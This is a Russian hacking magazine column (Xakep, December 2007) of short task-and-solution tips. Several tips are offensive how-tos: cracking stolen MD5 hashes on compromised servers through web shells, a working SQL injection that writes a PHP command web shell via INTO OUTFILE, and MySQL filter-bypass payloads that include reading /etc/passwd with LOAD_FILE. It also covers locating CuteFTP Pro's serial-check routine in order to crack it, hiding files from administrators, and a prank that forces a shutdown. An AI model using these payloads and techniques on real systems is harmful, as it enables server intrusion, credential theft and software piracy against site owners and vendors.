| Издательский дом ООО "Гейм Лэнд" | ЖУРНАЛ ХАКЕР #108, ДЕКАБРЬ 2007 г. |

Easy Hack
Леонид «R0id» Стройков (stroikov@gameland.ru)
Леонид «Cr@wler» Исупов (crawlerhack@rambler.ru)
Владимир «Dot.err» Савицкий (kaifoflife@bk.ru)
Хакер, номер #108, стр. 108-050-1
Задача
- Оригинально, так сказать, по-хакерски поздравить друзей с Новым годом.
Решение
Напишем прогу, основными действиями которой будет работа с реестром, а точнее, создание и изменение его ключей и их значений.
- Приветствие. С чего начинается работа на компе нашего друга? Конечно же с загрузки форточек! Давай выведем вступление к нашему поздравлению в окошке перед входом в систему. Открываем раздел реестра HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon, создаем там строковый параметр LegalNoticeCaption, присваиваем ему значение типа «С Новым годом!». Далее создаем строковый параметр с именем LegalNoticeText и хорошим юморным поздравлением в качестве значения.
- Новогодняя открытка. Нет ничего приятнее, чем получить красочную открытку на праздник. Рисуем, пишем, фотошопим (по желанию) и сохраняем получившуюся картинку в формате bmp. Далее помещаем свое творение на рабочий стол, для чего в разделе реестра HKEY_CURRENT_USER\Control Panel\Desktop изменяем значение ключа Wallpaper на полный путь до своего рисунка.
- Очень досадно, если нашу открытку будут закрывать десятки ярлыков, висящих на рабочем столе. Очистим стол, чтобы было лучше видно поздравление: в разделе HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer создаем параметр типа DWORD с именем NoDesktop и значением 1.
- Праздничный Explorer. Для новогоднего настроения нарисуем падающий снег и поместим его как фон на панельки Explorer’а. Для этого сохраним изображение снега в формате bmp, откроем ключ HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\ и создадим в нем строковый параметр с именем BackBitmap и полным путем до картинки в качестве значения этого параметра. Не забываем программным путем открыть какое-нибудь окошко Explorer’а, чтобы показать эту красоту другу.
- Для того чтобы не сильно перетруждать друга просмотром нашего поздравления, можно красиво уйти. Исполняем директиву командной строки «shutdown -s -f -t 20 -c "С новым счастьем!"», которая без лишних вопросов покажет другу сообщение «С новым счастьем!», выведет счетчик на 20 секунд и выключит комп.
- Не забываем, что все эти действия нужно скомпоновать в один экзешник, называющийся, к примеру, HappyNewYear.exe.
Вот так можно оригинально поздравить друзей с Новым годом. Самое главное - это творческий подход :).
Задача
- Расшифровать добытый MD5-хэш.
Решение
Сейчас в большинстве случаев пароли юзеров хранятся в БД в криптованном виде. Обычно в этих целях программеры используют распространенный алгоритм шифрования MD5. Именно поэтому зачастую возникает геморрой с брутом чужих MD5-хэшей, стыренных с только что взломанного сервера :). Объясняю коротко, четко и доходчиво: для брута подобного хэша есть три основных пути:
- проверка требуемого хэша на различных passwordscrack-порталах,
- брут с использованием постороннего софта,
- брут собственными силами.
- Первый способ весьма прост - надо пробежаться по нескольким крупным passwordscrack-ресурсам в поиске своего хэша. Порекомендовать могу http://passcracking.ru - один из лучших сервисов подобного рода. Но результат здесь напрямую зависит от расположения звезд на небе и порой оставляет желать лучшего (но тебе, возможно, повезет больше :)).
- Про брут с помощь постороннего софта я и говорить не хочу. Во-первых, PasswordsPro и аналогичные ему утилы жрут ресурсы как свинья помои, а во-вторых, не у каждого есть ломаные win-дедики, которые можно грузить 24 часа в сутки.
- Остается третий, последний вариант - брут собственными силами. Итак, рассмотрим наши действия по порядку:
- Выбираем из заначки/ломаем/просим у знакомого/добываем другими путями любой веб-шелл (на сервере должен обязательно стоять PHP).
- Пишем нехитрый MD5-брутер на PHP (его исходник ищи на нашем DVD).
- Ищем на сервере с веб-шеллом диру с правами 777 (например, /tmp) и заливаем наш брутер с расширением php.
- В тот же каталог аплоадим следующие файлы: dict.txt - словарик с паролями, hashs.txt - лист с MD5-хэшами.
- Запускаем наш брутер и спокойно идем пить пиво :).
Как видишь, все предельно просто. Только помни, что наш скрипт однопоточный, а следовательно, работает он не с первой космической скоростью. Тем не менее порой это самый оптимальный вариант.
Задача
- Ускорить какой-либо монотонный и долгий процесс, вручную выполняемый в отладчике OllyDbg, например поиск оригинальной точки входа для программ, исковерканных пакерами (возьмем UPX).
Решение
Используй замечательный плагин OllyScript, который предназначен для выполнения скриптов, написанных на ассемблероподобном языке. Для большей наглядности будем искать оригинальную точку входа в блокноте (или любой другой программе), запакованном UPX. Итак, чтобы выполнить задачу поиска, нужно сделать следующее:
- Установить плагин, поместив его в папку, которая указана в настройках отладчика («Options -> Appearance -> Directories -> Plugin Path»). Он распознается автоматически при перезапуске отладчика и будет доступен из меню Plugins.
- Написать сам скрипт:
var p; объявляем переменную p
mov p,esp; присваиваем переменной p значение регистра esp (верхушка стека)
add p,4; увеличиваем p на 4
bphws p, "r"; устанавливаем аппаратную точку останова, срабатывающую при операции чтения
esto; «нажимаем» <Shift-F9>
bphwc p; удаляем точку останова по адресу p
sto; «нажимаем» <F8>
cmt eip, "<-Entry point HERE!"; добавляем комментарий о том, что точка входа найдена
ret; выходим из скрипта
На чем основывается работа этого скрипта? Подумай, дам маленькую подсказку: для корректной работы UPX использует пару инструкций - pushad и popad, которые выполняют операции помещения всех регистров в стек и их восстановления соответственно. Мы устанавливаем точку останова на чтение значений регистров из стека, то есть на операцию popad, если немного утрировать. А после того как мы оказались в конце отработавшего цикла распаковки UPX, нам нужно лишь перейти на OEP, что мы и делаем при помощи скриптовой команды sto.
- После того как скрипт будет написан, сохраним его, загрузим нашу запакованную программу под отладчиком, выберем в меню «Plugins -> ODbgScript -> Script Window» и укажем запустившемуся плагину путь к файлу скрипта (в меню правой кнопки мыши кликнем на «Load script -> Open»). Затем протрассируем скрипт кнопкой <Tab>. После того как выполнится последняя команда, программа автоматически остановится на точке входа, причем ее будет сопровождать комментарий «<-Entry Point Here!».
Поиск точки входа - дело немаловажное. После этой процедуры остается лишь снять дамп памяти программы и исправить таблицу импорта, что делается очень легко. На нашем диске ты сможешь найти видеоролик, в котором показан процесс распаковки, а также все необходимые для работы файлы, включая и запакованный блокнот со скриптом. Кроме того, там же лежит и отличное руководство по плагину OllyScript на русском языке, которое содержит подробные комментарии к каждой команде скриптового языка и замечания по синтаксису.
Задача
- Остановка программы на точке, в которой происходит прием серийного номера от пользователя.
Решение
Что необходимо для того, чтобы прерваться в требуемом месте? Во-первых, нужно знать, какая API-функция вызывается для извлечения данных из текстового поля. Обычно эту задачу выполняют функции GetWindowTextA и GetDlgItemTextA. Если в твоем случае это не так, можно воспользоваться следующим методом: определяем тип объекта, содержащего текст, с помощью какого-либо «оконного шпиона», например InqSoft WinScanner, и ищем в любом справочнике функции, работающие с этим типом объектов.
Попробуем разобраться, как остановиться в отладчике точно на процедуре приема серийного номера, на примере программы CuteFTP Pro 8.0.2.
- Открываем программу (в нашем случае CuteFtp Pro)под отладчиком.
- Нажимаем <Alt-E> для выбора отлаживаемого файла (cuteftppro.exe).
- Комбинацией <Alt-F1> открываем окошко командной строки (плагина) и вводим в него команду bpx GetWindowTextA (эта команда ставит точки останова на абсолютно все вызовы GetWindowTextA).
- Долго жмем <Shift-F9>, пока программа не запустится (при этом срабатывает несколько точек останова на местах вызовов GetWindowTextA, но нас это не интересует).
- Пытаемся открыть свернутое окно нашей программы, тут же срабатывает еще одна точка останова. Она нам не нужна, поэтому ликвидируем ее, нажав <F2> в окне OllyDbg.
- Снова давим <Shift-F9> и опять пробуем открыть окно программы, развернув его из трея. На этот раз все получается без проблем.
- Жмем кнопку Enter Serial Number - возникнет исключение. Обойдем его с помощью <Shift-F9>. После этого уберем ненужную нам точку останова по адресу 005930D8, нажав <F2>, и опять запустим программу (<Shift-F9>).
- Мы удалили ложные точки останова, перед нами окно для ввода серийного номера. Введем что-нибудь и кликнем «Далее». Мы достигли цели! Программа приняла серийник при помощи вызова функции GetWindowTextA:
005983F6 CALL DWORD PTR DS:[<&USER32.GetWindowTextA>]
Не пугайся кажущейся сложности этой задачи. Будет легче разобраться, если ты усвоишь главный принцип: ставь точку останова на функцию, а затем запускай программу, отключая все ненужные точки останова, пока отладчик не перестанет выдавать «ложные срабатывания».
Первый шаг во взломе программы сделан - локализовано то место, где принимается серийный номер. Дело теперь за разбором алгоритма проверки его верности. Об этом написано множество статей, в том числе и моих, поднимай архив «Хакера» :).
Задача
- Получить веб-шелл на сервере при помощи SQL-injection.
Решение
Часто бывает так, что одного инъекта нам мало :). Иногда базу слить проблемно, а иногда и сервером порулить очень хочется. И в том, и в другом случае все упирает в получение полноценного веб-шелла на сервере. Сразу скажу, что для успешного исхода операции нам потребуются права на запись и полный путь до веб-каталога.
- Если и то и другое у тебя есть, смело вбивай в адресную строку браузера кверю вида:
http://site.com/index.php?id=-1+union+select+null,'your_code',null,null,null,
null+from+users+into+outfile+'/home/www/img/shell.php'/*
Здесь /home/www/img/ - путь до диры с чмодом 777, а shell.php - имя файла, в который мы пишем свой PHP-код. Учти, что если файл shell.php уже существует на сервере, то запись не произойдет, а мускул вывалит сообщение об ошибке.
- Под 'your_code' может скрывать все что угодно, например:
<?
system($cmd);
?>
Теперь достаточно обратиться к жертве по линку:
http://site.com/img/shell.php?cmd=id
- Наслаждаемся. Ведь веб-шелл у нас в руках :).
Задача
- Обход фильтрации в MySQL при реализации SQL-injection.
Решение
Не удивлюсь, если при реализации инъектов ты в 50% случаев сталкиваешься с фильтрацией символов в мускуле. Проблема обхода подобного рода защиты известна давно, вот только как ее решать, знают до сих пор немногие. Чаще всего траблы возникают при передаче уязвимому скрипту нашего запроса к СУБД. Разберемся в деталях на повседневном примере.
Допустим, мы имеем баг по адресу:
http://site.com/index.php?id=123'
То есть, как ты видишь, инъекту подвержен скрипт index.php через параметр id. Но, подобрав поля, мы обнаруживаем, что выдрать инфу из базы не так-то просто - присутствует фильтрация, а значит, обычный запрос не пройдет:
http://site.com/index.php?id=-1+union+select+1,2,3,username,5,6+from+users/*
При таком раскладе поставленную задачу придется решать следующим образом:
- Необходимо точно удостовериться в наличии фильтрации, а также прав юзера, от имени которого ты выполняешь запросы. Зачастую, особенно при работе со слепыми инъекциями, сходу тяжело отличить отсутствие прав доступа к таблице/базе от наличия фильтрации, так как результат ошибочного выполнения запроса всегда будет один и тот же (например, пустая пага :).
- Следует попробовать заюзать всеми нами любимые функции AES_ENCRYPT() и AES_DECRYPT().
Делается это так:
http://site.com/index.php?id=-1+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),5,6/*
Эта манипуляция кодирует передаваемое значение, в большинстве случаев обеспечивая успешный обход фильтрации :).
- Еще один возможный вариант - зачарить часть квери, используя функцию char(), которая принимает ASCII-значения символов. Верхний запрос при этом будет иметь такой вид:
http://site.com/index.php?id=-1+union+select+1,2,3,CHAR(85,83,69,82,40,41),5,6/*
Аналогичным образом можно читать файлики с помощь load_file():
http://site.com/index.php?id=-1+union+select+1,2,3,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),5,6/*
Но вбивать каждый раз ASCII-значения символов ручками - дело неблагодарное, поэтому накатаем жизненно важный скриптик на Перле:
#!/usr/bin/perl
@ch_line=('/','e','t','c','/','p','a','s','s','w','d');
$file = 'C:\chars.txt';
open(DATA, ">> $file");
for($i=0;$i <= $#ch_line;$i++){
$char = ord $ch_line[$i];
print DATA "$char,";
}
close DATA;
- Последний распространенный случай из нынешней серии - фильтрация символа «+». Многие при виде подобной картины быстренько сворачивают свою деятельность, переключаясь на поиски более «сговорчивых» вариантов, а зря :). Обойти такую фильтрацию зачастую проще простого:
http://site.com/index.php?id=-1/**/union/**/select/**/1,2,3,username,5,6/**/from/**/users/*
Другими словами, мы изменили «+» на «/**/» - пустой комментарий, а мускул наживку с удовольствием проглотил :).
Существуют и более сложные случаи, о которых мы писали и будем писать (листай подшивку ][). Кроме того, помни, что методы по-настоящему хороши, когда их комбинируешь.
Задача
- Защитить свои данные, чтобы их не потер какой-нибудь злой админ.
Решение
Для защиты данных от админского delete заюзаем виндовое ограничение на имя файла. Всем известно, что символы «:», «|», «<",">», «?», «*», «.» являются служебными в Windows, однако существует несколько способов, позволяющих создавать файлы с некорректными именами, используя эти символы. Одним из них мы и воспользуемся. В результате получим неудаляемый, неоткрываемый, некопируемый и непереименовываемый (во, блин!) файл.
- Если использовать MoveFile, CopyFile и некоторые другие функции работы с файлами, при передаче названия в качестве параметра необходимо в его конец добавить символы «.\». Таким образом, мы сможем задавать любое некорректное имя.
- Создадим приложение на С++ (или любом другом языке) и переименуем файл test.txt так, чтобы Windows не могла с ним нормально работать (добавим точку в конец имени).
- Добавим к заведомо нечитаемому названию «result.» символы «.\» и поместим получившееся в переменную tmp типа char*
wsprintf(tmp,"%s.\\", "result.");
- Зададим новое имя для файла test.txt.
MoveFile("test.txt",tmp);
- Проверим результат: при попытке удаления файла из Explorer’а Windows выдает сообщение об ошибке: «Не удается удалить файл. Не удается произвести чтение из файла или с диска».
Пробуем удалить через консоль:
del result.
Не удается найти файл result.
- Ура! Мы создали неудаляемый файл. Вот только теперь нам самим нужно получить к нему доступ. Воспользуемся UNC-путями, для чего добавим символы «\\?\» перед привычным нам полным путем до файла:
MoveFile("\\\\?\\c:\\tmp\\output.", "test.txt");
После выполнения этой функции мы получили исходный файл test.txt, к которому можно спокойно обращаться в Винде.
- Все бы хорошо, но нашу прогу так неудобно использовать! Сделаем ее более дружелюбной по отношению к юзеру (ни в коем случае не к админу!) :). Пусть при запуске пользователю будет предлагаться на выбор одна из команд: создание файла с некорректным именем, возвращение привычного Винде имени файла и удаление файла с некорректным именем. Также сделаем интерфейс для использования нашей проги в различных батниках: при запуске будут передаваться два параметра - исходное название файла и конечное, которое так не любит Винда.
Вот теперь местный админ уж точно не сможет помешать тебе осуществить твои коварные планы.
Задача
- Отладить программу, которая обращается к устройству, находящемуся на виртуальном COM-порту удаленного компьютера.
Решение
- Скачиваем (например, здесь: http://soft.softodrom.ru/ap/p6291.shtml) или берем с нашего диска программу IP->Com, которая предназначена для маппинга удаленного порта на существующий локальный через интернет или локальную сеть.
- Во фрейме Com Port выбираем свободный локальный порт, на который будет маппироваться удаленный, например COM5.
- Во фрейме TCP/IP Service вводим IP-адрес удаленного компьютера в поле Interface и номер TCP/IP-порта, который открыт для передачи на удаленном компьютере (например, 80), в поле Port Number.
Этот метод хорош тем, что позволяет получить быстрый доступ к удаленному устройству, находящемуся как в локальной сети, так и на большом расстоянии, используя протокол TCP/IP.
Содержание
|